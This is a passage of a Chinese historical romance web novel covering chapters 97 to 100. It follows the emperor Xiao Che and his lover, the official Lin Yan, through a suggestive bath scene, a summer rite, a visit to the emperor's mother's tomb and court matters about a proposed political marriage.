水波随着他的动作轻轻晃动,拂过林砚的皮肤,带起一阵细微的战栗。 “水可还合适?”萧彻的声音在水汽中显得有些低沉沙哑,带着别样的磁性。 林砚下意识地点头,喉咙有些发干:“合、合适。” 萧彻已经走到了他面前,距离近得能感受到彼此呼出的热气。 水珠顺着他结实的胸膛滑落,没入水中,也仿佛滴在了林砚的心尖上。 “含章的脸很红。”萧彻伸出手指,轻轻碰了碰林砚滚烫的脸颊,“是水太热了?” 林砚往后缩了缩,心跳快得像要擂鼓:“有、有点。” “是么?”萧彻低笑,手臂绕过他,撑在池壁上,将林砚圈在自己和池壁之间,“方才不还说合适?” 他的目光落在林砚被热气蒸得泛红的皮肤上,那双深邃的眼眸在水汽中显得格外幽暗,里面跳动着林砚熟悉又心慌的火焰。 林砚感觉自己就像被盯上的猎物,想要反击,却发现手脚都有些发软,脑子里那些技巧忘得一干二净,只剩下最原始的心慌意乱。 “陛、陛下……”林砚试图找回场子,声音却软得不像话。 萧彻的指尖从林砚的脸颊滑到他的下颌,轻轻抬起,低头凑近,鼻尖几乎相抵:“含章今日进宫,不是特意来见朕的吗?怎么,见到朕,反而害羞了?” 林砚被戳穿心思,脸颊更烫,嘴硬道:“谁、谁害羞了?我这是战术性观察!” “观察出什么了?”萧彻的唇几乎要贴上他的,气息交融。 林砚看着近在咫尺的俊脸,还有那身让人无法忽视的绝佳身材,脑子一热,残存的“理论知识”终于冲破了羞耻心,他心一横,伸出手臂勾住了萧彻的脖子,主动吻了上去。 不能输阵! 这个吻带着点急切,反而更显得撩人。 萧彻显然没料到林砚会突然来这么一出,身体微微一僵,随即眼底的暗火轰然烧起,反客为主,加深了这个吻。 水温似乎在升高,水波荡漾得更加激烈。 花瓣被搅动,粘在两人紧贴的皮肤上,又随着动作滑落。 林砚被吻得七荤八素,迷迷糊糊间,感觉自己学来的那些手段似乎派上了用场,又似乎毫无用处。 在绝对的力量和掌控欲面前,他那点小花招就像投入大海的石子,只激起了一点涟漪。 到了兴头上,不知是谁先开始的,他们在汤池里胡闹起来。 水成了最好的媒介,也成了最大的阻碍。 滑腻的触感,浮力的影响,让一切都变得有些失控,又格外刺激。 水花四溅,喘.息声和压抑的低.吟混杂着水声,在空旷的殿内回荡。 林砚被抵在池边,温热的水流没过胸口,身后是萧彻滚烫坚实的胸膛和不容抗拒的力道。 他仰着头,眼神迷离,花瓣沾湿了贴在额发和脸颊上,显得楚楚可怜。 萧彻被他这副情动又生涩,试图反抗却又无力招架的模样勾得□□焚身,动作间难免带上了些失控的力道。 最后的最后,林砚几乎是半瘫在萧彻怀里,被抱着走出汤池的。 他累得手指头都不想动,脑子里只有一个念头:理论和实战差距太大了,萧彻这家伙根本不用学,他就是天生的。 萧彻用柔软的布巾仔细擦干林砚身上的水珠,看着他昏昏欲睡却还带着不甘心表情的脸,忍不住低笑出声,在他耳边落下几个轻柔的吻。 “含章的研究,甚有成效。”萧彻的声音带着饱餐后的满足和愉悦,“朕,受益匪浅。” 林砚哼哼了两声:“萧彻。” “嗯?”萧彻应他。 “萧昭临。”林砚把脸埋到萧彻胸前,“你好坏。” 报仇雪恨之路,道阻且长啊。 萧彻闷声笑出:“含章不是很受用?” 第98章 第 98 章 总不会是去见家长的………… 立夏。 大渝极为看重立夏这一日, 特意设立了迎夏礼,皇帝要率文武百官参加,林砚自然是其中一员。 林砚站在镜子前, 任由小厮伺候着穿上那套崭新的赤色朝服。 这颜色鲜亮得扎眼, 感觉有点过于喜庆。 一身红,不知道的还以为他今天要成亲。 林砚在心里嘀咕, 扯了扯宽大的袖口。 这赤色朝服与他平日里穿的品级官袍制式颇有不同,纹样更繁复, 用料也更讲究,穿在身上沉甸甸的,仿佛承载了夏季这个季节全部的重量和热情。 要说古代人还真讲究,居然在立夏这一天还有专门的朝服。 马车碾过寂静的街道,林砚靠在车壁上, 继续与周公搏斗,自家老父亲的叹气声此起彼伏也没能打扰到他,直到马车停下,外面传来喧嚣的人声车马声,才勉强打起精神。 今日取消早朝,文武百官直接在南郊汇合, 林砚钻出马车, 瞬间被眼前的景象晃了一下眼。 平日里庄严肃穆的官员队伍,今日变成了一片赤色的海洋。 放眼望去, 从一品大员到末流小官,人人一身红袍,佩戴着或深或浅的赤玉,连车马、旗帜也无一例外地换上了赤色装饰。 平日里那些或严肃或儒雅的同僚们,此刻看起来都颇为喜庆, 有点像过年了套上同款衣服的年娃娃。 林砚下意识地在人群中寻找那个最熟悉的身影,很容易就找到了——萧彻被簇拥在队伍的最前方,同样是一身赤色龙袍,只是纹样更为威严尊贵。 那浓烈的赤色将他平日里略显冷峻的眉眼都衬得浓烈了几分,在阳光下,仿佛自身也在发光。 啧,他家萧彻长得就是好看。 林砚忍不住多看了几眼,萧彻似乎有所感应,目光淡淡扫过人群,在他身上停留了一瞬,快得几乎让人以为是错觉,但林砚就是捕捉到了那瞬间的专注。 看我干嘛?看我穿这身红像不像你刚过门的媳妇儿? 林砚险些被自己的想法逗笑,脸上却绷得一本正经,甚至还朝着萧彻的方向微微躬身,做足了恭敬姿态。 迎夏礼的流程,林砚在礼部时早已烂熟于心。 献祭玉帛,萧彻亲自主持,动作庄重沉稳,一丝不苟。 当那象征纯洁的玉器和代表财富的丝绸被奉上时,整个祭坛周围鸦雀无声,只有风吹动旗帜的猎猎作响。 接下来,便是林砚的差事了——朗读祝文。 他深吸一口气,捧着那份自己打磨了无数个夜晚,甚至还用上好的笔墨纸砚找翰林院前同事帮忙润色的祝文,稳步走到祭坛前指定的位置。 展开卷轴,清了清嗓子,林砚开始用一种清晰而沉稳的语调诵读。 “维大渝景和二年,岁次甲辰,立夏之日,皇帝臣萧彻,敢昭告于赤帝祝融之神:伏以乾元资始,坤德承天,日躔昴位,火德方隆,惟神德配离明,功兼长养,秩祀攸崇,典章具在,臣祗膺景命,嗣守丕基,仰荷帝庥,俯临兆庶,兹当朱明司节,万物蕃鲜,爰遵古礼,虔修祀事,备陈圭帛,洁具粢盛,清酤载献,明德惟馨,伏愿炎精毓秀,协气横流,驱厉暑于堙陵,沛甘霖于畎亩,屏螟螣而稼穑滋丰,涤氛祲而黎元康乐,式凭洪贶,永奠皇图,谨以制币牺齐,粢盛庶品,明荐于神,尚飨!” 这篇祝文,林砚写得可谓是尽心尽力,既要符合祭祀赤帝的庄重格调,又要不动声色地把萧彻夸出花来。 什么“祗膺景命,嗣守丕基”,是说萧彻恭敬地承受上天大命,继承守护宏大基业,什么“仰荷帝庥,俯临兆庶”则是指萧彻向上蒙受天帝庇佑,向下治理万民,字里行间都透着一股“我家陛下最棒”的意味。 诵读的时候,林砚感觉自己脸颊有点发烫,幸好有这身赤色朝服映衬,看不出来。 按照仪程,此时皇帝和百官应当凝视着祝文、玉帛以及部分祭品在燎坛中焚烧,称为“望燎”。 然而,林砚总觉得有一道视线,并未落在燃烧的燎坛上,而是牢牢锁定在自己身上。 那目光如有实质,带着灼人的温度,几乎要把他这身赤色朝服也点燃。 想也知道那道目光来自谁。 我知道我念得好,声情并茂,字正腔圆,但你能不能敬业一点,看看火堆? 林砚不禁腹诽。 好不容易将整篇祝文念完,最后一个音节落下,林砚暗暗松了口气,完成了一项艰巨的任务,后背都沁出了一层薄汗。 立夏对于大渝人来说可是大事,他要是在这里出了差错,能被唾沫星子淹死。 后续的亚献、终献、撤馔、奏乐……林砚都像个背景板一样,安静地待在属于自己的位置上。 仪式终于全部结束,皇帝仪仗准备返回。 林砚活动了一下有些僵硬的脖子,准备跟着大部队打道回府,就在这时,李莲顺悄无声息地走到他身边,低声道:“林大人,陛下有旨,仪仗转道皇陵,请您随行。” 林砚一愣。 皇陵?这不在今天的计划之内,萧彻又想干嘛? 林砚抬头看向御辇的方向,只见萧彻正被一群人簇拥着上车,并未回头。 带着满腹疑问,林砚只好跟着引路的李连顺,登上了另外一辆安排好的马车。 车队没有驶向京城,而是拐上了另一条通往城郊皇陵的官道。 马车里只有林砚一人,他靠在车壁上,开始琢磨萧彻的用意。 皇陵是供奉大渝历代皇帝灵位的地方,肃穆庄重,非祭祀大事,连萧彻自己都不会轻易前去,今天立夏,并非特定的祭陵之日,萧彻去皇陵做什么?还要带上他。 总不会是去见家长的……吧? 林砚脑子一个激灵,搞不好萧彻还真的是带他去见家长的。 马车在皇陵神道前停下。 林砚下了车,发现除了必要的护卫和内侍,其他官员和仪仗都已返回京城。 萧彻正站在神道起点处,负手望着前方巍峨的陵寝建筑,赤色的龙袍在空旷的陵园中显得格外醒目,也透着一股难言的孤寂。 听到脚步声,萧彻回过头:“陪朕走走。” “是。”林砚应了一声,乖顺地跟在他身后半步的距离。 这里人多眼杂的,他倒是不好跟萧彻拉拉扯扯。 他都看见萧彻手想伸出来又不得不缩了回去。 哎,男朋友也不容易,回去之后好好安慰安慰。 两人沿着长长的神道,向陵寝深处走去。 两侧的石像生肃穆伫立,空气中弥漫着松柏的清香和一种特有的庄严肃穆之感,周围安静得只能听到他们的脚步声和风吹过松林的沙沙声。 走了一会儿,萧彻忽然开口:“那篇祝文,写得不错。” 林砚还是谦虚了一下下:“谬赞谬赞,臣不过是恪尽职守,依照礼制书写。” “是么?”萧彻语调掩不住上扬,“朕听着,倒不全是礼制上的套话。” 林砚也睁着眼睛说瞎话:“陛下勤政爱民,功绩卓著,理应让上天知晓……” 萧彻忽然停下脚步,转过身来看他。 此时他们已经走到了一处偏殿前的空地上,四周古木参天,环境清幽。 “让上天知晓?”萧彻微微挑眉,目光落在林砚因为紧张而微微抿起的唇上,“还是想让朕知晓?” 林砚:“!!!” 萧彻你搞什么?还带突然袭击的? 林砚心跳骤然加速,脸颊不受控制地开始升温。 些隐藏在冠冕堂皇词句下的小心思,被当事人这么直白地戳破,还是令人害羞。 看着林砚一副被踩了尾巴的猫似的,眼神乱瞟,脸颊绯红,萧彻眼底涌出笑意,与此同时,他牵住了林砚的手。 这里没了眼睛,他终于可以放心大胆地将林砚的手握在自己的手心里。 “我并非一开始便与父皇各种意见不合,父皇说的有些话也还是有道理的。”萧彻目光扫过这片他曾经踏足过的地方,“父皇曾在这里对我说,为君者,当如这四季轮转,各有其时,春生,夏长,秋收,冬藏。” 林砚有些不明所以,但还是安静地听着。 “立夏迎夏,迎的不仅是季节,更是一种壮大的气象,万物至此皆长大,朝廷政事,亦当有此气象,你今日那篇祝文,虽有……私心。”萧彻顿了顿,侧头看了林砚一眼,看得林砚耳根更红了,“但其中祈愿国泰民安、稼穑滋丰之句,甚合我心,含章,你总是与我心意相通的。” 林砚的心像是被什么东西轻轻撞了一下,酥酥麻麻的。 他看着萧彻在古松翠柏映衬下的侧影,那身赤色龙袍仿佛与这皇陵的庄重气息融为一体。 萧彻不是在调侃他祝文里的私心,而是在说,他们志同道合。 “我亦希望你。”萧彻无比认真,握着林砚的手微微用力,“如同这夏日之阳,光明正大,滋养万物。” 这话语里的期许和重量,让林砚收起了方才的羞窘和玩笑心思。 他回握住萧彻的手,指尖在他掌心轻轻挠了一下,然后郑重道:“我记下了,定不负你的期望。” 没再用“陛下”和“臣”,此刻,他只是林砚,在对他心悦之人承诺。 萧彻的指尖在他手背上摩挲了一下,唇角弯起一个清晰的弧度。“嗯。” 两人继续往前走,手却一直牵着,宽大的衣袖交叠,巧妙地遮掩了不为外人道的亲昵。 穿过一片松林,眼前豁然开朗,并非预想中的享殿,而是一处倚着山势修建的小小陵冢,规制明显比帝陵要小,但打理得十分整洁,周围种满了兰花,在这个季节开得正好,幽香阵阵。 “这是……”林砚有些疑惑,这不像皇帝的陵寝。 “我母后的安息之地。”萧彻停下脚步,望着那陵冢,目光柔和了下来,“她生前最爱兰花,性子也如兰,清雅安静。” 还真是来见家长的啊。 林砚立刻收敛了神色,整了整衣袍,朝着陵冢恭恭敬敬地行了一个大礼。 萧彻看着他郑重其事的样子,眼底暖意更浓。待林砚起身,他才轻声道:“母后若在世,定会喜欢你。” 林砚耳朵微热,小声问:“为什么?” “她常说,人生在世,活得真实痛快最要紧。”萧彻看向他,眼神里带着戏谑,“你这样的性子,她定然觉得有趣。” 林砚:“……”这是夸他还是损他? 不过,要萧彻的母后真的还在世,会怎么跟他这个男儿媳相处呢? 林砚清了清嗓子,对着陵冢方向,用不大但清晰的声音说:“母后,您放心,我我会好好照顾他的。” 说完林砚自己先绷不住了,这话怎么听着那么像结婚时新郎对新娘的父母说的话? 萧彻低笑出声,手臂自然地揽住林砚的肩膀,将人往自己身边带了带,对着陵冢道:“母后,您看到了,这就是儿臣心仪的人,是能与儿臣并肩同行之人。” 林砚靠在萧彻的身侧,看着眼前幽静的兰圃和陵冢,这身赤色朝服,在此刻越发地让人幻视婚服。 阳光透过松针洒下细碎的金斑,落在相拥的两人身上,时光仿佛在此刻变得静谧而悠长。 过了许久,萧彻才松开他,牵起他的手:“走吧,回家了。” “嗯。” 两人沿着原路返回,手依旧牵着,直到接近神道入口,能看到远处等候的仪仗时,才默契地松开。 只是林砚没再自己乘坐一辆马车,而是堂而皇之地钻进了皇帝的銮驾。 李德福挥着拂尘叫伺候的人都把眼珠子收好,高声喊道:“起驾,回宫。”—— 作者有话说:因为见父皇,父皇会骂骂咧咧,所以萧彻决定不见[捂脸偷看] 祝文参考: 《大唐开元礼》、《大唐郊祀录》、《纪泰山铭并序》、《冬至郊祀大赦天下制》、《政和五礼新仪》 第99章 第 99 章 比如说,榻上。 林砚跟着萧彻一块回了皇宫。 马车驶入宫门时, 林砚掀开车帘一角往外瞧了瞧,守门的禁军见到这辆御用马车,立刻肃立行礼放行, 动作整齐划一。 林砚不禁想, 古代是不是也要练习站军姿和走正步。 放下车帘,缩回脑袋, 林砚瞥了一眼身旁正闭目养神的萧彻。 这人倒是淡定,仿佛带着臣子回自己家过夜是再正常不过的事。 不过话说回来, 好像也确实挺正常的,至少对林府上下而言,林砚时不时被皇帝留在宫中“商议公务”甚至直接宿在宫里,已经算不得什么新鲜事儿。 起初林承稷和文韫还提心吊胆,生怕儿子在御前有什么行差踏错, 后来见皇帝不仅没怪罪,反而赏赐越发频繁,官位也一路高升,那点担心就渐渐变成了麻木。 反正只要儿子好好的,圣眷不衰,多干点活什么的, 也不是什么要紧事。 林砚甚至怀疑, 他爹娘是不是已经脑补出了什么“君臣相得、抵足而眠”的感人戏码。 抵足而眠是真的,感不感人不知道, 反正挺费他。 马车在紫极殿前停下,萧彻睁开眼,很自然地先下了车,然后回身伸手扶了林砚一把。 殿内灯火通明,暖融如春, 驱散了春夜的微寒。 李德福早已领着宫人候着,见二人进来,便上前要替林砚解下那身赤色官服。 萧彻却摆了摆手,示意他退下。 李德福立刻心领神会,带着宫人悄无声息地退到外间,只留下他们二人在内殿。 “朕来。”萧彻说着,便亲自上手,替林砚解开官袍的系带。 林砚装模作样:“陛下,这不合规矩吧?” “规矩?”萧彻挑眉,手上动作却没停,指尖灵活地解开林砚腰间的金带,“朕与林卿之间,需要什么规矩?” 官袍被褪下,露出里面月白色的中衣。 萧彻又从旁边的衣架上取过一套叠放整齐的紫色常服,料子一看就极软极舒适,是林砚平日喜欢的款式。 “换上这个,松快些。”萧彻将衣服递给他。 林砚接过,触手生温,果然是上好的料子。 他一边换衣服,一边看着萧彻也动手解自己的龙袍,忍不住嘴上叭叭:“陛下服务挺周到啊,连更衣都包了。” 萧彻脱下那身繁重的龙袍,随手搭在屏风上,闻言回头看他,眼神里带着点戏谑:“爱卿若觉得过意不去,下次换你伺候朕?” 林砚早已经不纯洁的脑子一下便从此伺候脑补到了彼伺候:“……伺候就伺候。” 最后谁伺候谁还不一定呢。 林砚手脚麻利地换好那身紫色常服,活动了一下胳膊腿,果然比那紧绷绷的官袍舒服多了。 一抬头,却见萧彻也换上了一身同色的常服,款式与自己这件极为相似,只是纹路更显沉稳。 林砚眨眨眼,看看自己,又看看萧彻。 情侣装? 萧彻仿佛没看到林砚探究的眼神,整理了一下衣袖,语气寻常:“紫色很衬你。” 林砚心里嘀咕,是衬我,还是衬你那点不可告人的小心思? 刚换上情侣装,皇帝陛下还没有来得及多欣赏欣赏,就听李德福在外道:“陛下,阿古拉王子和其木格公主在求见。” 萧彻闻言,眉头几不可见地蹙了一下,似乎对这突如其来的打扰有些不悦,但还是道:“宣他们去偏殿等候。” “是。”李德福应声。 萧彻看向林砚:“他们求见想来是有正事,朕需去见见,你若不想见阿古拉,便先歇息,朕去去就回。” 林砚立刻点头如捣蒜:“好好好,陛下去,我就不去了。” 他可不想再见那个一根筋想娶他的北戎王子,光是想起对方那执拗的眼神,林砚就觉得自己的胸口梗得慌。 萧彻看林砚那避之不及的模样,也没再多言,转身便去了偏殿。 林砚乐得清静,溜达到临窗的软榻上一瘫,顺手从旁边小几上摸了本闲书,有一搭没一搭地翻着。 他打了个哈欠,想着萧彻去见那对兄妹,也不知道是什么事。 偏殿内,阿古拉和其木格见到萧彻,恭敬地行了礼。 萧彻端坐上位,目光扫过下方站着的两人,除了他们兄妹,还有一个作北戎使者打扮的中年男子。 “不必多礼,二位此时入宫,有何要事?”萧彻开门见山。 阿古拉和其木格对视一眼,还是其木格上前一步:“回禀陛下,我父汗派了信使来,送了些家乡的东西,还有……一封信。” 她说着,示意身后的信使将信呈上。 李德福上前接过,检查了一下,才转呈给萧彻。 萧彻展开信纸,快速浏览了一遍。 信是北戎可汗亲笔,内容无非是表达对大渝的友好,希望两国永久修好,承诺阿古拉和其木格会永远留在大渝,不再返回北戎。 同时,也委婉地提出,希望大渝皇帝能看在两国交好的份上,为他的这一双儿女赐婚,北戎会按照礼节送上丰厚的聘礼和嫁妆。 萧彻看完,面色没什么变化,将信纸放在一旁,目光看向那信使:“可汗的意思,朕已知晓。” 信使连忙躬身,用带着浓重口音的官话说道:“尊敬的大渝皇帝陛下,我们可汗是真心希望与贵国永结同好,王子殿下和公主殿下的婚事,全凭陛下做主,无论是王子娶妃,还是公主嫁人,我们北戎该有的礼数,一分都不会少。” 这话说得客气,但意思很明确,就是把联姻的选择权和决定权,都交到了萧彻手上。 萧彻没有立刻回答,他看向阿古拉和其木格:“你们二人,对自己的婚事,可有想法?” 阿古拉嘴唇动了动,似乎想说什么,却被其木格悄悄拉了一下袖子。 其木格垂下眼,恭敬地道:“回陛下,父王既已将我们的婚事托付给陛下,我们自当听从陛下的安排。” 话虽如此,但萧彻还是从他们眼中看到了无奈和认命。 作为北戎付出的代价,他们其实并没有太多选择的余地。 萧彻沉默了片刻。 他想起了很多年前,先皇叫人拿着几张贵女画像来到东宫,要他从中挑选太子妃。 那时的他是如何反应的? 直接拒绝了。 他无法接受自己的婚姻成为政治筹码,更不愿娶一个素未谋面、毫无感情的女子,让她在后宫中虚度年华。 为此,先皇勃然大怒,将他关了整整一个月的禁闭,东宫被禁军团团围住,不许他踏出半步。 那段被禁锢的日子并不好过,但他从未后悔。 己所不欲,勿施于人。 萧彻抬眼,看向北戎信使:“回去告诉你们可汗,大渝愿与北戎永久修好,朕也希望阿古拉王子和其木格公主能留在大渝,至于他们的婚事……” 他顿了顿,目光扫过阿古拉和其木格略显紧张的脸:“朕不会强行指婚。” 这话一出,不仅信使愣住了,连阿古拉和其木格都惊讶地抬起头。 萧彻继续道:“朕不是媒婆,没兴趣拉郎配,若他们二人在大渝遇到了两情相悦之人,无论对方身份如何,只要品行端正,朕都愿意成全,并亲自为他们赐婚,风风光光办一场婚礼,若遇不到,留在朕这大渝京城,做个富贵闲人,保他们一生安稳无忧,亦无不可。” 北戎信使显然没料到会得到这样的答复,一时有些不知所措。 这和可汗预想的完全不一样啊。 他张了张嘴,还想再说什么:“陛下,这……” 萧彻抬手打断了他:“朕意已决,你只需将朕的话,原原本本带回给可汗即可。” 他的语气并不严厉,却自有一股威严,让那信将后面的话都咽了回去,只得躬身应道:“是,外臣遵旨,定会向可汗陈情。” 阿古拉和其木格站在一旁,心情复杂难言。 不用被强行安排婚姻,自然是松了口气,但大渝皇帝这番话,也彻底断绝了他们借助联姻获取更大利益或者稳固地位的可能。 萧彻没再多言,让李德福赏赐了些东西,便打发他们出宫。 处理完这桩意外插曲,萧彻回去,就见林砚已经歪在软榻上睡着了,手里的书滑落在一旁,脸颊泛着淡淡的粉色,呼吸均匀。 他放轻脚步走过去,俯身想将人抱去床上睡。 刚碰到林砚,林砚就迷迷糊糊地醒了,睁开眼看见是他,含糊地问:“谈完了?什么事啊?” 萧彻在他身边坐下,顺手将他捞起来靠在自己身上,省得他着凉,简单地把北戎可汗想让他赐婚的事说了。 林砚听完,睡意醒了大半,啧啧两声:“北戎可汗也真是舍得,那你怎么回的?” “朕让他们自己找,找到了朕就赐婚,找不到就老实待着。” 林砚点点头,这回答很萧彻。 他靠在萧彻怀里,找了个舒服的姿势,懒洋洋地问:“那你当初,为什么不愿意娶太子妃啊?先皇给你选的,肯定是家世才貌顶尖的贵女吧?登基之后你也没有开后宫的意思,就等着我呢?” 林砚虽然知道萧彻没立后也没纳妃,但具体缘由,萧彻从未细说过。 萧彻搂着他的手臂紧了紧,目光落在窗外沉沉的夜色上,仿佛透过时光看到了多年前那个倔强的自己。 “因为不喜欢。”萧彻的声音很平静,“朕见过太多貌合神离的夫妻,也见过太多在深宫中耗尽年华的女子,朕不想为了所谓的平衡朝局或者绵延子嗣,就去娶一个不喜欢的人,将她困在那四方天地里,彼此折磨。” 低头看着林砚:“朕若娶妻,必是心中所爱,愿与她一生一世一双人,若找不到,宁可不要,幸好,我遇到了你。” 林砚听着,心里有点酸酸软软的感觉。 他想象着年轻的萧彻,顶着巨大的压力,反抗着父皇的安排,只为了坚持那一点对感情的执着。 在那个时代,这需要多大的勇气。 林砚伸出手,回抱住萧彻的腰,把脸埋在他胸口:“那你运气挺好,最后还是找到了。” 萧彻低低地笑了起来,胸腔震动,带着愉悦的共鸣。 “嗯,运气很好。”他吻了吻林砚的发顶,“所以,朕更不会去勉强别人,阿古拉和其木格若有他们的缘分,朕乐见其成,若没有,强扭的瓜不甜,从小就读己所不欲勿施于人,总不能白读。” 林砚在他怀里蹭了蹭,表示赞同。 不过,他要教给萧彻一个道理—— 己所不欲勿施于人这句话,在有些时候有些地方,其实可以不用。 比如说,榻上—— 作者有话说:你就教吧[狗头] 到第99章啦,让我们一起祝他们99吧[撒花] 第100章 第 100 章 哦,他在紫极殿,在萧…… 林砚悠悠转醒时, 只觉浑身像是被拆开重组了一遍,又像是连夜徒步翻越了十座大山,每一寸骨头缝里都叫嚣着酸软和疲惫。 他迷迷糊糊地睁开眼, 映入眼帘的是明黄色的帐顶, 鼻尖萦绕着熟悉的沉水香气。 哦,他在紫极殿, 在萧彻的龙榻上。 这个认知让林砚瞬间清醒了不少,昨晚那些混乱又羞耻的画面如同潮水般涌入脑海。 他教萧彻在恩爱时不用讲什么己所不欲勿施于人, 然后……然后萧彻似乎一下子就打开了什么了不得的开关。 萧彻会将他困在结实有力的手臂间亦或者是身下,然后各种问他还要不要、够不够。 如果说要,萧彻就继续,亲吻也好,别的也罢, 温柔又强势,不容拒绝。 如果说不要,萧彻则会将所□□用到极致,用各种方式撩拨他,逼得他溃不成军,最终哑着嗓子改口, 根本听不进林砚那点微弱的抗议。 简直就是自作自受的典范。 林砚艰难地动了动脖子, 侧过头看向身边。 身侧的位置早已空了,只余下一点凹陷的痕迹和残留的体温, 显示着昨夜有人曾紧密相拥。 看来萧彻已经起床去上早朝了。 林砚试着想坐起来,腰部一阵酸胀感让他倒抽一口冷气,又重重地跌回柔软的锦被里。 算了,毁灭吧。 林砚生无可恋地瘫着,望着帐顶发呆。 子时都过了还没能睡觉, 快被萧彻给累死了。 这还只是……还没上本垒呢,萧彻就已经这么会玩了,等真到了洞房花烛夜那还得了? 林砚简直不敢想象那会是怎样一番惨烈的景象,萧彻该不会把他给*死吧? 正当他脑子里开始不受控制地播放一些限制级未来展望时,殿门外传来一阵极轻的脚步声,然后是阿蛮标志性的“喵呜”声。 紧接着,一颗毛茸茸的小脑袋从微微掀开的门帘缝隙里探了进来,是阿蛮。 自从林砚不怎么回清漪阁常住后,阿蛮也就跟着搬来了紫极殿。 只是平日里,林砚不在时,阿蛮是绝对不可能被允许跳上这张象征着至高皇权的龙榻的,宫人们看见了会将阿蛮抱走。 而林砚在时,又总是跟萧彻亲密,不方便让小猫咪旁观某些少儿不宜的场面,所以阿蛮能像现在这样,趁萧彻不在,溜进来找林砚玩的机会并不多。 看到林砚醒着,阿蛮立刻“咪呜”一声,轻盈地跳上了龙榻,迈着优雅的猫步走到林砚枕边,用带着倒刺的小舌头亲昵地舔了舔他的脸颊。 林砚被舔得痒痒的,伸出手有一下没一下地抚摸着阿蛮光滑温暖的背毛。 阿蛮舒服地在他手边趴下,发出“咕噜咕噜”的声音,尾巴尖儿愉快地轻轻摆动。 一人一猫就在这偌大的龙榻上,享受着静谧而温馨的时光。 林砚懒懒地趴着,下巴搁在交叠的手臂上,看着阿蛮在自己手边打滚,露出柔软的肚皮,只觉得岁月静好,如果能忽略身体上的不适就更好了。 萧彻下朝回来时,看到的正是这样一幕。 他心爱的青年穿着柔软的寝衣,慵懒地趴在龙榻上,墨发披散,衬得脖颈和一小截锁骨的肌肤愈发白皙,上面还残留着些许昨夜他情动时留下的暧昧痕迹。 而那只通体雪白的猫咪,正毫无防备地躺在青年手边,享受着轻柔的抚摸。 看到这一幕的萧彻,心底最柔软的地方仿佛被什么东西轻轻撞了一下,涌起一股难以言喻的满足和开心。 青年是他的,猫……勉强也算是他的。 四舍五入,他这也是享受到齐人之福了。 听到脚步声,林砚懒洋洋地抬眼瞥了他一下,没什么力气地哼了一声,算是打过招呼,然后又继续低头逗弄阿蛮,用实际行动表达了对这位造成自己卧床的罪魁祸首的“不满”。 阿蛮倒是机灵,看到萧彻进来,立刻翻身坐起,歪着头“喵”了一声,像是在问安,很是清楚谁才是它的衣食父母。 萧彻唇角微扬,走到榻边坐下,很自然地伸手,想去揉一揉林砚睡得有些凌乱的头发。 林砚却像是背后长了眼睛似的,脑袋往旁边一偏,躲开了萧彻的手,嘴里嘟囔:“起开,烦着呢。” 声音沙哑,带着明显的倦意和一点点撒娇般的抱怨。 萧彻的手顿在半空,也不恼,反而低笑出声,从善如流地收回手,目光落在林砚惫懒的侧脸上:“还累?” 林砚送给他一个白眼:“你说呢?” 萧彻眼底笑意更深,带着点餍足后的愉悦,他看向一旁歪着脑袋的阿蛮,仿佛在寻求认同:“阿蛮,你说他是不是自作自受?” 阿蛮:“喵?” 林砚震惊,林砚无语,这人怎么好意思跟小猫咪说那种事情? 抓起手边的一个软枕就朝萧彻砸过去:“你还有脸说!” 萧彻轻松接住软枕,放在一边,俯身靠近林砚,在他耳边低语,气息温热:“含章昨日教导有方,朕受益匪浅,自然要……勤加练习。” 林砚耳根瞬间红透,恨不得再给他一枕头。 这人怎么这么讨厌! “练习个鬼!”林砚把发烫的脸埋进被子里,闷声闷气地控诉,“你再这么练习下去,我迟早要英年早逝。” 萧彻看着他这副鸵鸟模样,心情大好,连带着因为早朝时处置那些不省心的宗室而带来的一丝烦躁也烟消云散。 他想起今早的事,语气寻常地对林砚说:“今日早朝,朕下旨处置了一批宗室。” 林砚从被子里露出一只眼睛:“哦?哪几家倒霉……不是,哪几家被陛下明察秋毫了?” 萧彻报了几个名字,都是之前清查账目时问题颇大,且冥顽不灵还试图串联抵抗的。 林砚听完,点了点头,并不意外。 这些人,证据确凿,萧彻动手是迟早的事。 不过…… “我前日才刚把最后一部分核对完的卷宗交给你,你今天就下旨了?”林砚算了算时间,“效率这么高?大家肯定以为是我昨夜连夜办公,帮你把这些都整理妥当了。” 毕竟他现在是户部侍郎,主管财政审计,又是皇帝眼前的红人,在外人看来,皇帝雷厉风行处置宗室,自然是他这个得力干将提供了精准的靶子。 萧彻不置可否地笑了笑,默认了这个说法。 他确实有意无意地让朝臣们这么以为。 这既能彰显林砚的能干和圣眷,也能在一定程度上保护林砚,让那些对清查宗室不满的人,将更多的怨气集中在他这个皇帝身上。 然而,林砚脑子转得快,他眯了眯眼睛,看着萧彻:“不对啊,你今天处置的这几家,虽然卷宗我前天才交齐,但核心证据和结论,好几天前不就审定好了吗?你干嘛吊着他们,放到今天才下旨?” 萧彻拿起小几上的一块精致点心,递到林砚嘴边,看着他下意识地张嘴咬住,才慢悠悠地说:“吊着玩玩,让他们多提心吊胆几日,不好吗?” 林砚嚼着点心,含糊地评价:“恶趣味。” 他算是看出来了,萧彻有时候是真的很享受这种“钓鱼执法”的过程,看着那些心里有鬼的人惶惶不可终日,也是一种乐趣。 不过,林砚能想到这一层,同样负责部分查账工作,对进度了如指掌的褚晔,自然也能想到。 早朝时,听到萧彻下旨处置那几家宗室,褚晔站在百官队列中,面上不动声色,心里却跟明镜似的。 那些宗室的罪证,好几天前就已经审查清楚,完全可以处置了,陛下却偏偏拖到今天。 结合今天早上林砚罕见地没能来上早朝……褚晔了然。 哪里是什么连夜办公,分明是起不来床。 那为什么起不来床呢? 当然只有跟林砚同床共枕的皇帝陛下本人知晓其中细节了。 褚晔甚至能想象出林砚此刻在紫极殿龙榻上瘫软无力的模样,以及陛下下朝时那看似威严实则隐含餍足的步伐。 啧,真是……干得漂亮。 看来他之前帮林砚找的画册林砚都认真学习了,给林砚说的话林砚也听了,那他得再让赫连锋给林砚找一些画册,毕竟同僚一场,互相帮助是应该的。 萧彻看着林砚小口小口吃着他喂的点心,像只被顺毛的猫,眼神柔和。 他确实有吊着那些宗室玩的意思,但选择今天下旨,除了时机成熟外,也未尝没有一点小小的私心——他想让所有人都知道,他的林侍郎为了朝廷公务是多么“殚精竭虑”,甚至“劳累”到无法上朝。 这样,他们便不会往别的方向去猜测。 反正知晓林砚办事效率有多高的人也只有少数,而且都会好好管住自己的嘴。 “今日便好好歇着,户部那边,朕已让李德福去打过招呼,说你夙夜在公,身体不适,告假一日。”萧彻又递过去一杯温水。 